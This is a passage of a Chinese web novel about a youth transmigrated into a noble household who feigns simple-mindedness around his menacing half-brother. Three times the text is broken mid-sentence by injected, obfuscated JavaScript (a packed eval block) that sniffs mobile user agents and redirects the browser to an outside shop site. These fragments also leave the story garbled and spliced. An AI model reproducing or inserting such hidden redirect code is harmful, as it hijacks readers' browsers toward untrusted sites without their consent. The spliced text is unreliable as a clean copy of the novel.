“回夫人,小公子方才说他饿了……”柳絮将方才房中发生的事情说了一遍,包括陆眠的一举一动。 陶柔绚毫不犹豫,往陆眠的宇临阁行去。 宇临阁内,小厮们端上膳食,陆眠溜到桌边坐下开吃,先是揪了个水晶虾饺放进嘴里,鲜香汤汁入口的一瞬,他首次体会到穿书后的好。 这也…… 太好吃了! 陆眠一口塞好几个,连对面坐着的陆凛都无视了。 最主要还是因为,方才送完餐的小厮没走,人多胆子也就大了。 只不过谁也没有开口说一句话,房中只有玉箸时不时磕碰到盘子的声音。 有点干吧,陆眠想。此情此景,应该再配个小说——我穿书了,穿进了一本…… 陆眠晃了晃脑袋,借着喝水的间隙朝人撇去。却见陆凛正看着他,漆黑的眼瞳中辨不出情绪,又恢复了那个在旁人面前沉静内敛,毫无存在感的陆府大公子模样,先前那个向他追问的人好似是他臆想出来般。 两人眼神对上,陆凛眼睫微掀。 陆眠和他大眼对小眼:O.o。 陆凛:“……” 这小傻子。 陆眠继续埋头苦(爽)吃。 饭饭香,饭饭好,陆凛不香,陆凛坏。 - 一刻钟后,陶柔绚领着一行人进门,看到的就是左手抓着鸡腿,右手捻着糕点大块朵颐的陆眠,眼底蕴着难得灵动的神采。 她再看一眼旁边坐着的陆凛,想到什么,“去请吴大夫。” 柳絮心知夫人这是打算给大公子处理伤势,点头应下后倒着退出去几小步,旋即转身出去了。 正吃着东西的陆眠看见陶柔绚的身影,举着手里的甜糕,一脸认真,“看!这是糕手!” 陶柔绚不知是喜是悲,上去怜爱地摸摸他的小脑袋。 陆眠平等地无视所有人,开始往嘴里倒糕点,吃完下意识去叠盘子,一叠、二叠、三叠……干干净净的盘面。 哪里见过儿子做过这些的陶柔绚先是愣了下,末了同身后道:“来人,将东西收拾了。” 陆眠叠了一半的盘子被下人们一一收走,他探指试图去抠回来手就被握住,他没有看握着自己手的陶柔绚,对一个刚刚失去儿子的母亲,他没法说接下来的话。 于是陆眠转眼,对着陆凛,“你现在开心了吧!你这个冷漠无情的人!”他的盘子都被收走了,TvT。 陆凛目光凝向他,视线从他染了些水色泛着丝油光而变得润泽的粉色唇瓣上掠过,嘴唇动了下,尚未开口就被陶柔绚的声音打断,“眠眠,又在胡说什么?” 她脸上的表情比之方才多了些许无奈,深深睇一眼陆凛。 果然,与柳絮说的一样。 只要有陆凛在,儿子的反应就能多上许多。 思索了瞬,开口时她略显生疏,“凛、儿。” 陶柔绚稍有些不自然,许是有求于人,对陆凛说话时的声音是罕见的轻柔,“眠眠如今这个样子,你看……能否陪同眠眠一道?”说不得两人待在一起久了,儿子就恢复了。 陆凛不动声色地扫向一旁表情茫然起来的陆眠,敛去眸底的神色,平静道:“夫人有命,莫敢不从。” 陶柔绚满意颔首,这时大夫也被柳絮请了来,“如此,那便去看看伤吧。” 陆凛沉默起身。 少年的背影并不如何宽厚,显得有几分单薄,无依无靠,容易拿捏。陶柔绚收回视线,看向不知为何又变得呆滞起来的儿子,笑得温柔,“眠眠,吃饱了吗?” 陆眠神情恍惚。 他刚刚没听错吧。 原主母亲说了什么? 让陆凛陪他? 陆眠一脸惊恐,自我安慰方才是听错了。 陶柔绚不知他所想,还在看着他缠着纱布的额头,“明日娘亲入宫,请你姨母让太医院的徐院正来给你看看,很快就会好的。” 听到她说起头顶的伤,陆眠很是心虚,伤好了,原主也回不来了。 陆眠低头捏手指。 见陆凛一走,儿子又变得安静下来,陶柔绚暗道自己做了个无比正确的决定,让陆凛今日陪在儿子身边是对的。 不多时,一身伤势得到处理的陆凛回来,陶柔绚没再多待,走出门就听柳絮低声问:“夫人,真的要让大公子陪在小公子房中吗?” 陶柔绚:“既然眠眠如今只认得他,那便让他陪着。” 在她看来,是喜是厌,全凭儿子高兴,不论陆凛作何想,皆受着便是。 语毕,陶柔绚睨了眼廊下站立,神色颇为惴惴的两个小厮,接着便往正院行去。柳絮心领神会地落后半步,朝那边招招手,将二人召至近前。 “你们两个,好好照看着,这次若小公子再出什么事,可仔细你二人的皮!” 一听这话,两人心中大骇,从柳絮话中他们听出今日之事夫人恐已知晓,只并未发作,遂连忙扑通一声跪倒,“小的都知道,我二人定会好生照看,柳絮姐姐,还望你在夫人面前为我们美言几句啊。” 柳絮哼了声后离开。 两个小厮面面相觑,连忙跑到门边守着去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782388|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 房间内,陆眠往墙角缩了缩。 果然是够‘冷漠无情’的啊!居然真的让他和反派待在一起! 陆眠:呜呜。 他抿着嘴巴,精神错乱,现在该说什么。 还是要超级加辈吗。 陆眠张了张口,不待他出声,跟前的人走近,他一个噤声。 糟糕,拳头痒痒。 陆眠开始在坐实罪名和开口加辈之间游移,下一刻,下巴上便落来一只微凉,浸着淡淡苦涩药味的手,慢慢把他的脑袋抬了起来。 陆凛低眼打量,这双眼里明晃晃的迷茫不容错辨,这是曾经的陆眠绝对不会出现的表情。乌黑双眸的雾蒙蒙如同水洗,干净得不含分毫杂质,纯粹天然。 反派在做什么! 陆眠瞳孔缩了缩,把头一低,张开嘴,“啊——” 落在他下巴上的手转而掐在他双颊,手上并未有多用力。 陆眠:OoO! 陆凛压下眼,声音轻淡:“想咬我?” “咬洗你!”陆眠被捏得微张的嘴发出几道含混不清的声音,“啊呜——” 一连几下他都没有咬到人,陆凛像是在逗他,紧绷的唇角却不自觉放松下来,抬手在陆眠发顶薅了下,很快就松开了人。 陆凛皱眉,看着自己的手。 几秒后,他取出帕子,开始擦手。 陆眠身上带了伤,加上这副小身板不是陆凛的对手,一番折腾下来,已趋近萎靡。身上的钳制一松,他便顺势往地下一趴,不动弹了。 他就知道,自己根本打不过陆凛。 想着,陆眠突然正襟危坐。 不对啊! 他明明是打算装傻子的,好以此放松反派的戒心。他都傻了,反派总不至于跟一个小傻子过不去。 但是他刚才都干了什么! 居然跟陆凛打起来了! 陆眠瞳孔地震,转头,把陆凛擦手的动作收入眼底,先是怒了一下,然后呆滞。 刚刚……陆凛好像摸他头了。 陆眠陷入回忆。 书里,陆凛似乎也这么摸过主角受的头,因为主角受是个很可爱的小笨蛋,阳光明媚没有脑袋,整天横冲直撞过得灿烂。 首先,他不是笨蛋,其次,他也没有过得很灿烂…… 陆眠疑惑地抬起眼去看擦手的人。 陆凛将指尖一根根擦拭过去,神情平静无波,手指却慢慢发红,半点不知轻重,在擦拭到捏过陆眠两颊的手指时,几乎将指腹掐出血来。 陆凛眼底蓄起一丝血色,力道逐渐增加,察觉到落在自己身上的视线,他侧目,与陆眠望来的眼神对个正着。 再次看见这种像饿狼一样仿似要吃人的目光,陆眠不出意外的又头皮发麻起来。 他刚才是怎么敢的! 书里都说陆凛是个没有同理,心理扭曲的变态了,自己竟还想咬他。 陆眠抬手蒙头,屁股一挪,扭过身子背对着陆凛。 陆凛:“……” 顾头不顾腚的小傻子。 他凝视对方的后脑勺片刻,陆凛举步上前。 陆眠正自我催眠:反派不可怕,反派不可怕……至少现在的反派不可怕,他还不是没人爱的变态…… 屁股突然被什么戳了下。 陆眠一个激灵:啊啊啊啊! 有变态! 5. 小哑巴 陆眠恶狠狠地转回头,心想活该反派没人爱!活该反派心理变态! 他用一副看狡诈恶徒的眼神怒视身后,便见陆凛正好收回脚尖。 “给我起来。”陆凛扭过脸,屋外是小厮走来的动静,在其他人面前,他并不能太过肆无忌惮。 陆眠像是应激般,用尽最后的力气弹射而起,“给给给,给什么给!我才不是给!” 他捂着屁股后退,啊啊啊啊!这个死男同刚刚碰他屁股了! 陆凛眉梢轻抬,陆眠两眼昏花,想跟对方拼了。 “公子!”听到声音的两个小厮着急忙慌地进门,“发生什么事了?” 看见两人,陆眠犹豫了一下,终是没吭声。 陆凛好不容易从祠堂出来,不能再把人送进去,不然又结仇了。但他也不想对方留下来,他不要跟反派一起啊! 陆眠没说话,陆凛却开口了,他表情如常,同两人道:“都下去吧,这里有我。” 两个小厮面面相觑,观小公子除了面颊红了些,神色并未有哪里不妥,躬着身就出去了。 陆眠再度欣赏了一出陆凛变脸,对对方这随地大小变的功夫叹为观止,表演艺术家啊。目送小厮离开,他目移,惊恐:屮屮屮!又变了,他在看哪里! 陆凛扫了眼他捂屁股的手,缓声:“我没用力。” “惹到我你算是惹到棉花了!”陆眠没给陆凛开口的机会,对着他呲牙放狠话道:“我永远都不会原谅你的!永远都不会!” 陆凛好整以暇地看他,心知这是又开始了。 陆眠小嘴还在叭叭:“是兄弟就来砍我!而不是来给我!” 房间里倏尔响起一道轻笑声,变声期的嗓音并不如寻常少年那般难听,反而给那独特的声线增添几分磁性,搔刮着闻声者的耳膜。 陆眠搓搓耳朵,决定无视之,“睡觉了睡觉了,大人不记反派过。” 凶了反派一顿,他们也算扯平了,他就不计较对方拱他屁股的事了。如此想着,陆眠把在地上搓过的外袍一丢,三步跨栏上榻,倒头就睡。 陆凛望向榻间,那里卷起来的一团,被褥下的人似乎把自己蜷成了颗球。 他凝视圆球,在原地立了许久。 陆眠很快熟睡,脑袋又从‘球’缝中冒出来,粉红的唇瓣抿着,两只手乖乖放在腹部,睡颜出乎意料的恬淡,就这么毫无防备地暴露出来。 陆眠:zzzZZZ。 阴影一点一点覆盖上他面容,夜明珠发光的光芒被掩去大半。陆凛正对着床榻,站在床沿垂眸看向睡着的人,指尖悬于对方白皙纤长的脖颈之上。 只需略微用力。 这截脆弱得不堪一击的脖颈便会被拧断。 - 兵荒马乱的一日过去,陆眠醒来后依然没有回到自己的世界。 “公子醒了,”耳边一道声音响起,“阿平,赶紧去打水,我伺候公子更衣。” 陆眠转头,就见是昨日跟随在他身边的小厮其中之一,正对他笑得谄媚,“公子,阿青伺候您更衣,夫人稍后要带您一道入宫呢。” 陆眠一滞,好不容易睡醒,阿青却让他输得这么彻底。 那可是进宫啊!一不小心就会竖着进去横着出来! 不过陆眠又迅速冷静了下来。 没事的没事的,原主的身份摆在那里,皇后可是他的姨母。往好的方面想,他还能参观一下皇宫,不亏! 想罢,陆眠支棱起来,由着阿青给他穿衣服,待衣衫穿戴齐整,他坐到了镜台前,准备任对方为他束发。 然而陆眠刚坐下便被铜镜吓了一跳。 无他,只因镜中的人完完全全就是他自己的模样。 陆眠搓搓脸,眼睛眨了一下又一下,想到什么,他扯起衣领。 一颗朱砂痣缀在颈窝,小小的、圆圆的,陆眠戳了戳。 这身体…… 好像就是他自己的。 陆眠有些茫然。 那原主去哪了? 身后,阿青忽地停手,看向外间,“夫人。” 陶柔绚走了进来,眼神停在陆眠身上变得温柔无比,“眠眠,今日可要与我去见姨母?” 平日里,阿姊最是疼爱这个小外甥,想来她若是入宫提及眠眠的伤势,对方免不得担忧,故而陶柔绚略一思索后便打算把人带上一道。 “公子醒来就没说过话。”阿青顿了顿,见公子眼睛直勾勾地盯着铜镜看没有要搭理夫人的意思,主动开口道。 陶柔绚眼神黯淡几分,“传膳,待眠眠用罢早膳再入宫。” 一顿不知道是早餐还是午餐,陆眠吃得食不知味。 “眠眠,怎么吃这么点?可是菜不合口味?”陶柔绚看他始终不说话,轻声询问。 陆眠耸耸小鼻头,菜很香,只是他没心思吃。面对身边人充满关爱的话语,他亦不知该如何回复,只能保持沉默。 陶柔绚知道他现在谁也不愿搭理,亦无需他的回答。 下一瞬,陆眠眼前便出现一块熟悉的糕点,耳边响起柔声,“看,这是糕手,眠眠想不想吃?” 陆眠猛地一震。 她在说什么? 陶柔绚把糕点喂到他嘴边,如同对待新生的幼儿,这些年儿子愈发淘气,难得有这么安分的时候,她心中的母性情怀重新泛滥。 “吃、吃……”陆眠一脸恍惚地被听到回应后高兴起来的陶柔绚塞了一口糕点。待一顿饭吃完,他又被塞上了前往皇宫的马车。 马车从陆府一路往宫中行去。 途中,他想到什么,突然开口:“陆凛。” 陶柔绚:“陆凛去书院了。” 陆眠点了点脑袋。 陶柔绚便又爱怜地揉揉他的发,昨日让陆凛同眠眠待在一起效果确实不错,看来还是得继续让两人一块相处。 - 马车晃晃悠悠到得宫门前,皇后身边的大宫女紫菡早已提前等在那里,她对两人一礼,“夫人,呀……小公子怎么伤了?” 陶柔绚只是递了今日入宫的消息,并未言明陆眠的情况,免得人担心,所以紫菡才会如此惊讶。娘娘对这个小外甥的宠爱,身为贴身伺候大宫女的她最是清楚不过,紫菡忧虑道:“娘娘可要心疼了。” 陶柔绚叹了声,“昨日玩闹不慎磕到的。” 紫菡没再多嘴,在前引着母子二人往皇后居住的栖禾宫走去。 陆眠唇角抿直一声不吭,眼睛却新奇地朝周围张望着,红墙绿瓦宛若一副瑰丽画卷映入眼帘,亭台楼阁在阳光照射下熠熠生辉。 栖禾宫恢宏大气,殿内富丽堂皇,犹如仙境,一路行至内殿,陆眠就看见了他现在的姨母。 皇后陶柔瑾与陶柔绚乃一母同胞,眉眼间有几分相似,淡妆浓抹,分外明艳。一袭宝蓝色宫装,头戴流光银蕊簪花步摇,挽着朝凤衔珠紫金钗,雍容典雅,端庄华贵,恍若神妃仙子临世。 陆眠看花了眼。 皇后见到陆眠,十分心疼,“眠眠,过来让姨母瞧瞧,怎伤成这样了?可怜见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782389|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 陶柔绚指尖在陆眠背上轻抵,“去,让姨母看看你。” 陆眠乖乖行至皇后跟前,由着对方在他身上摸索,“可还有其他地方受伤?” 皇后望着陆眠。 陆眠没吱声,今天的他不是小傻子,是小哑巴。 皇后看向妹妹,眼含询问,陶柔绚将大夫的话同她说了一遍。 “怎会……”陶柔瑾一惊,不用妹妹提,已直接同身边的大宫女开口下令,“去,将徐院正请来。” 结果,徐院正的诊断与大夫所言相差无几,只是更为详尽。 还以为太医这边能看出什么的陶柔绚不禁失望。 皇后见状便劝:“眠眠吉人自有天相,你也不必太过忧心。” 陶柔绚又与皇后叙了会话。 陆眠神游天外。 这里的柱子好大,想去抱抱,看能不能一手圈住。 地板也好亮,躺一躺会不会很凉快?但他不是很热。 “过几日进香,我打算带眠眠一道去。”陶柔绚说。以往儿子总是闲不住,从来不肯与她同往。 皇后颔首,意味深长道:“正好那日休沐,可让陆大人陪你。” 陶柔绚垂眼不说话。 皇后深深看她一眼,“你啊……还没放下吗。” “时辰不早了,”陶柔绚转移话题,“我该带眠眠回去了。” “留下来用罢晚膳再走吧。”皇后道。 陶柔绚摇头,弯了下眼,“娘娘忘了,今日十五,陛下……” 她咽下未尽之语,笑得狡黠。 逢初一十五,皇上必要来中宫陪伴皇后,这是祖训。皇后闻言眯眼,唇角浮起一抹甜蜜的笑,未再挽留。 - 从皇宫出来,陆眠上了马车就打起了小呼噜,醒来时马车正好停下。 管家等在府门前,“晚膳已备好,老爷等着夫人过去呢。” 陶柔绚看了眼陆眠。 挂机了一天的陆眠顿时警觉,当场解封,“回去!”他可不想当一天演员。 “送公子回去。”陶柔绚转头,对着身边的柳絮道。 陆眠回到自己的小院,大松口气,终于可以休息了。 刚进门,迎面就撞见了屋中正坐在桌边的陆凛,刚松下去的一口气重新提了起来。 “陆陆陆……” “公子想看鹿?”身后,柳絮琢磨道。 陆眠一噎。 他觉得柳絮是有点幽默在身上的,当然,他自己也不错,挺有反差。 反正很差的陆眠指着陆凛,“他。” 柳絮笑笑:“夫人安排的。果然,有大公子在,小公子就开始说话了。” 紧接着,是下一句噩耗。 “夫人说,让大公子今后与小公子同住,”柳絮全然不知自己吐露了怎样惊天动地的发言,兀自继续,“奴婢先去传膳。” 说罢,柳絮转身出去。 她一走,房间内便只剩下陆眠和陆凛。 房门‘咔哒’在身后合上,就听跟前传来轻飘飘的一句。 “不想跟我住?” 陆眠:不止是不想,还不想看到他。 书里的反派除了凶残就是变态。 给他的感觉还是那种能捧着喜欢的人内裤都能闻上半天变态。 陆眠抱紧自己蹲了下来,害怕。 声音还在从前方传来,陆凛道:“小傻子。” 陆眠愤而起身,凶道:“你住口!叫我霹雳火狼!” 6. 又皮啦 陆眠说完回视过去,就见陆凛直直望来,薄唇启合:“不是叫小酷?” 陆眠:O.O? 坏了。 让他学到了。 被车撞都没死的陆眠此刻终于体验了一回,从尴尬,到社亖,脚趾都要蜷起来了,果然抽象不能随便玩。 他一时没说话,而对面的陆凛亦未再开口,面上神色微凝。 不知为何,方才脱口便接上了这小傻子的话。 陆凛眸光定在陆眠身上,回过神时,是指甲掐进肉里,皮肉中渗出红色的鲜血,浸染指尖。疼,但还想掐得更深,似在抑制某种情绪,眼神逐渐变得阴暗。 也是可笑。 他从未想过自己有朝一日会在旁人面前如此肆无忌惮地表露出本来面目。 对方是个小傻子。 这样的陆眠……倒比之前的面目可憎好了些许。 思及此,陆凛皱眉,指尖更为用力。少顷后他撩起眼帘,眸底晦暗直视陆眠,后者眼睛忽然睁大,陆凛挑了下唇角,“怕我?” 陆眠本来还在因为陆凛的一声‘小酷’想找个地缝钻进去,不承想尴尬着尴尬着便瞥见后者在抠手心,都抠出血了还面不改色地继续。 疯了疯了! 原书里,这是反派发疯的前兆。 不怕反派疯,就怕反派在跟前疯! 陆眠被眼前人平静的疯感搅得心下一团乱,他强自镇定下来,顾左言他,开口却有些发虚,“陪、陪一个。” 话落,也学着对方抠起手指头。 要疯大家一起疯。 反正脸都丢光了,不差这个。 陆凛停了动作,看着他抠。 陆眠怕疼,他低着头,左手食指曲起,对着右手中指的指甲盖挠了挠。 忍着,得忍着。 不能竖起来,反派还看着呢。 紊乱的情绪无端恢复过来,陆凛倏然唤他,嗓音徐徐,“霹雳…火狼?” 陆眠猛然抬首,怎么还真有人信的。他看着陆凛,从后者平静的面上瞧出了股‘打不过就加入’的精神,尸体都要凉了,感觉像是看到了千年木乃伊转眼进化成变形金刚,对着他就吐出满嘴的蜘蛛丝。 他连忙道:“是小酷!” 诶嘿! 既然要装傻子,那么傻子的思路怎能让人轻易看透呢! 陆凛从善如流,继续加入:“小酷。” 话落他却又在掌心掐了一把,竟被个傻子带着跑。 陆眠撇到他的动作,扫到那顺着掌心低落的血珠,心中呐喊。 教练,我不想学这个啊! 陆眠没有再抠手,他平移过去,屁股一点点蹭上木椅,站着太累了。 末了道:“小美小美,小酷在呢。” 说罢,陆眠傲然抬头,唇角微微上扬,一副骄傲的小模样。 叫反派小美。 他就问问还有谁! 陆凛果然被他的气势镇住,都不说话了,陆眠正得意,就见跟前人影一晃,起身朝他走了过来。 昨日下巴被掐住,那种命运的后颈皮被掌握的失控感骤然侵袭,陆眠战术后仰,接着陆凛停在他身侧不动了。 宛若天籁的嗓音跃入耳畔,“公子,饿坏了吧。” 柳絮领着一众下人端着膳食进门了,食物的香气瞬间在房间内弥漫开。陆眠吸溜一声,蹿了过去,那双雾蒙蒙的眸子此刻晶亮一片,似藏了星星。 - 膳食被一一摆上桌,陆眠迅速进入状态开始扫荡,连陆凛坐在他旁边陪着一起用都顾不得了。 余光中,身旁人吃得专心致志,眼里只有美味,一口接着一口,令旁观者也不由食指大动起来。 陆凛执起玉箸,敛眸,慢慢跟着进食,朝里的掌心还在丝丝渗着血,却被他全然无视。 两人一个安静进食,一个风卷残云。 门边,用完膳就过来看儿子的陶柔绚摇了摇头,眼底却带着笑。 柳絮低语一句:“公子胃口比午时好了许多。” 陶柔绚点了下头。 “有大公子在,公子的精神看着亦是不错。” 陶柔绚沉吟,“是。” 停顿几息,她简短开口:“今后大公子的吃食用度可以精细一些。” “是。”柳絮心领神会地点头。 陶柔绚又在门边静立片刻,睇了眼受伤后因着失去记忆变得格外纯稚的儿子,再扫向看起来沉静内敛的陆凛。 两个孩子相差不过两岁,却因经历不同,性格迥异。当初因为心底的芥蒂加之儿子同样不喜对方,陶柔绚也算出手打压过对方一阵,眼下儿子态度大变,且因伤离不开对方,她亦不禁改变了一些看法。 只要陆凛安分陪伴儿子左右,她自然会好好看护对方。 膳桌旁,陆凛不动声色地掠向门边,将那一闪而逝的一截衣摆纳入眼底。 陶柔绚见儿子吃得专心也便不去打扰,转身离开宇临阁。 陆眠吃完饭在屋中绕了一圈才发现,里间内他的卧床一侧,多了一张小榻。 他茫然,抬脚就往小榻边靠。 身后,待下人们收拾完桌子离开后进来的陆凛道:“那是我睡的地方。”昨夜他是在外间的长椅上度过的一晚,许是打算让他在这里常住,陶柔绚今日特意吩咐了人搬了张小榻进来。 卧室爆改寝室,陆眠脚下蓦地一刹!清冽的气息从后方笼来,几乎瞬间就让他汗毛倒竖。 “你为什么,”声线自身侧响起,近在咫尺,“只认我?” 陆凛视线凝向他,漆黑的瞳底清晰映着陆眠的身影,带着明晃晃的探究。 废话,不这么做怎么把你从祠堂里捞出来,只不过陆眠没想到这么做会搭上自己就是了。此时此刻面对陆凛的质问,陆眠默然一瞬,他才不回答。 停滞几秒,陆眠又歪了下头,当着陆凛的面就往他的小榻上栽去。 果不其然,他一躺下,房间内的气氛瞬间降至冰点。 反派有些小洁癖,不喜欢旁人碰他的东西,更甚者连与旁人接触都难以忍受。陆眠想了想,又在上面滚了一圈,眼神悄悄往旁边挪去。 陆凛一语不发,看起来尤其沉默。 须臾,他走向书桌,开始研磨。 陆眠:ovo。 不理他,那他可就睡了哦。 马车里终究没有宽大绵软的床榻舒服,陆眠陷在被子里昏昏欲睡。他又正是长身体的时候,加上又受了伤…… 绝对不是因为他贪睡! 意识沉入梦乡的前一刻,陆眠恍惚觉得自己似乎忘了什么,但他尚不及细想便直接睡了过去。 待陆眠再次醒过来,他看着头顶上光秃秃的一片,熟悉的床幔在余光中掠过。 陆眠倏地坐起,他好像是霸占了反派的床! 许是因为昨日睡得太多,此时外面的天才蒙蒙亮,陆眠磨蹭着起床,想滚回自己的床榻继续躺,下床的刹那禁不住往外间走去。 绕过屏风,他看见了靠在矮几边上睡着的人。 陆凛的脸色有些苍白,那双独处时看向他总是充满侵略性的凤目轻合,无端显出几分脆弱来。 陆眠盯着人看,心里突然冒出一股愧疚感。 反派除了心性残忍了些,变态了些,其实也挺可怜的,只是从小的环境造就了他过于偏执扭曲的心理。 对方身上有伤,昨天他还占了对方的床。 陆眠非常自责地折回去拎了张毯子出来给人盖上,接着他又回到里间,躺回了自己的床。 现在他没有霸占对方的床了,是对方自己不回来睡的。 陆眠说服了自己,把那点自责说散了。 他躺了不知道多久,眼睛又慢慢合拢起来,陆眠心安理得地睡了个回笼觉,第一次觉得帮人盖毯子也是需要耗费很多精力的啊。 再次醒来就是晌午,阿青阿平伺候他穿衣洗漱。陆凛不在,陆眠猜他应该是去书院了。 正院,柳絮同陶柔绚道:“又不说话了。” 说罢她见夫人神色不是很好,忙不迭补充:“等大公子回来就好了。” - 当日下午陆凛回到陆府就被迎进了宇临阁,只见陆眠趴在院子里的小秋千上荡,脑袋倒垂,一只手撑在地面,一只手在地面扒拉。 陆眠本来正在荡秋千,一只蚱蜢忽地飞到他衣服上,下一秒就跳到了地上。他当时就转身去抓,却忘了自己正在荡秋千。 他秋千荡着荡着,变成了秋千荡他。 陆眠憋着口气,又不好呼救,那样多傻啊,于是只好等着下人进来发现他,带他回房间。 结果等啊等,他等来了一个倒立的陆凛。 陆眠反应了一下,哦…… 倒着的是他。 “救救——”陆眠憋不住了,向反派呼救。 不知他在玩什么,正欲抬步往房里走去的陆凛一顿,过去把人拔了起来。 陆眠:“啊啊啊啊,谢谢谢谢谢谢!” 陆凛看了他一眼,取出手帕,擦手。 见状陆眠当场哽住,谢不出来了。 被嫌弃的陆眠:盯—— 还好,三个‘谢谢’可以消除,就当他没谢过叭。 陆凛擦完手,转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782390|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回房。 陆眠洞察先机,准备抢先一步进去,结果刚走两步他就趴下了。 陆眠:qvq。 踩到衣摆了。 古人的衣服就这点不好。 陆凛听到身侧传来‘扑通’的一声,耳尖动了下,院外有脚步声传来,他语气缓和,“我拉你?” 陆眠不理他,决定在哪里跌倒就在哪里躺下,索性伸展了四肢,摊平了。 结果就是晚间沐浴的时候,木桶的水在他进去的一瞬,变得浑浊。 “公子,你看,头发上好多泥点子。”阿青在给他洗头。 陆眠往桶里缩:“咕噜咕噜咕噜。” 水有点脏,他又探出了水面。 陆眠决定,从今天起,他不跟陆凛讲话了! 出乎意料的是,陆凛也没有跟他搭话的意思,即便是房内只剩他们二人,对方也未如同前两日那样和他对话。 陆眠隐约察觉。 陆眠沉默。 陆凛…… 真把他当傻子了。 毕竟,正经人谁会跟傻子说话啊。 陆凛不说话,陆眠只能自言自语,相处起来倒是难得和谐。 他发现,只要有旁人在,反派还是会维持人设和他说话,纵使陆眠故意不理人他也仍是会十分耐心地同他讲解。 “凛儿。”陶柔绚进门就看见陆凛在给陆眠读书,眼中带了点笑,“在读书?” 陆眠眼神幽幽。 骗子,陆凛是个大骗子! 陆凛:“只是一些话本,讲给眠眠听。” 陶柔绚笑容渐深:“好孩子,明日旬假,可要同母亲一起去寒光寺进香祈福?” 先帝笃信道教,晚年欲寻长生之道,听信了假道士的谗言,使得朝野上下一片乌烟瘴气。待新帝继位方才得以镇压,寒光寺便是在这个时候开始香火鼎盛的。 如今正值三月,上巳刚过,进香的人仍是不少,月底还有香会。 陆凛:“但凭夫人安排。” 陶柔绚满意颔首,“如此,眠眠也算有个伴了。” 被点到名字的陆眠一下坐直,心中有些期待,像是上学时要参加学校组织的春游秋游,难得激动。以至于晚上睡意一直不至,平日里倒头就睡的他在床上摊煎饼。 左滚一滚,右瘫一瘫。 之后还有庙会诶,一定很好玩。 陆眠:“嘿嘿。” 一不小心笑出声。 隔壁的小榻上,呼吸轻浅,半晌,似是忍无可忍般,悠悠响起一句,“再不睡就别睡了。” 陆眠:OoO! 被威胁了一顿的陆眠老实了,睁着眼又躺了好一会,眼睛方才缓缓合上。 黑暗中,陆凛侧了侧身,听力异常敏锐的他能清楚闻见室内另一个人的呼吸声,从混乱到绵长。 睡眠质量好得惊人。 整日里跟只皮猴子一样乱窜的小傻子。 可能正是因为这点,他竟难得感到安宁,可以忍受身边有其他人的存在入睡。 还有前几日醒来时身上盖的小毯子…… 陆凛一瞬阖目,呼吸逐渐与身旁人同频,睡得却并没有对方深,外面的一丝虫鸣都会成为扰乱他的睡眠。 从小的生长环境让他睡觉都保持着警惕,那些刁仆乐于看到上位者的陨落,并以此取乐,时常深夜里在他门外敲锣打鼓。 陆父有所察觉,却也放任自流。 没有人在意他。 ‘咚’的一声。 重物落地的声音顷刻将陆凛从睡梦中唤醒。 “呜呜,痛——” 陆眠梦到自己在抓兔子,兔子跑得太快,他追啊追,最后一个恶狼扑食……他就从床榻上摔了下来。 摔了个屁股墩的陆眠眼睛疼出泪花,半天爬不起来。 好痛好痛好痛。 他侧躺着,一只手伸出去想揉揉又不敢揉。 冷冽的气息拂过鼻端,陆眠手指动了下,碰到了什么东西。 月色隔着窗棂穿透窗纸洒进屋中,一道身影立在他身边,陆眠吓了一跳,“鬼啊!” 紧接着,他被鬼抱了起来。陆眠正要挣扎,腰身便被猛地掐住,动弹不得。 冷冰冰的声调自头顶上方落下,“老实点。” 陆眠:QvQ。 不是鬼,是陆凛。 陆眠老实了,陆凛正欲将人抱回床榻,带着哭腔的嗓音就响了起来,“谢谢。” 陆凛唇微动。 他还未出声,耳边又是一句。 “你是个好鬼。” 陆眠最后倔犟道。 7. 进香去 腰间箍着他的手略微收紧,下一刻,陆眠就‘唔’了声。 陆眠:Q3Q。 他泪眼汪汪,嘴巴被捏起,接着被放到了床上,动作却很轻。陆眠翻了个身继续侧躺,沉吟着想:既然如此,他就不计较对方捏他嘴巴了。 陆凛把人抱上榻便重新躺了回去,然后听到了嘶嘶的抽气声。 这小傻子,又不睡觉。 陆眠摔疼了,翻来覆去的,好半天没睡着。翌日,屁股还隐隐作痛,头上的伤刚好,又添新伤。 “眠眠,怎么了?”今日出门进香,陶柔绚见陆眠走路慢吞吞的,上前一手扶住他胳膊。说罢,转头去看陆凛,并不指望陆眠能回答。 陆凛:“睡觉时从榻上摔下来了,我将他抱了回去。” 正在犹豫要不要开口的陆眠:—。— 捏我的事你是只字不提啊。 另一边,陶柔绚登时紧张去看陆眠,不断摸索着道:“怎么这么不小心,可还有哪里伤着了?” 待一阵嘘寒问暖后,她望向陆凛,目光柔和,“多亏有你。” 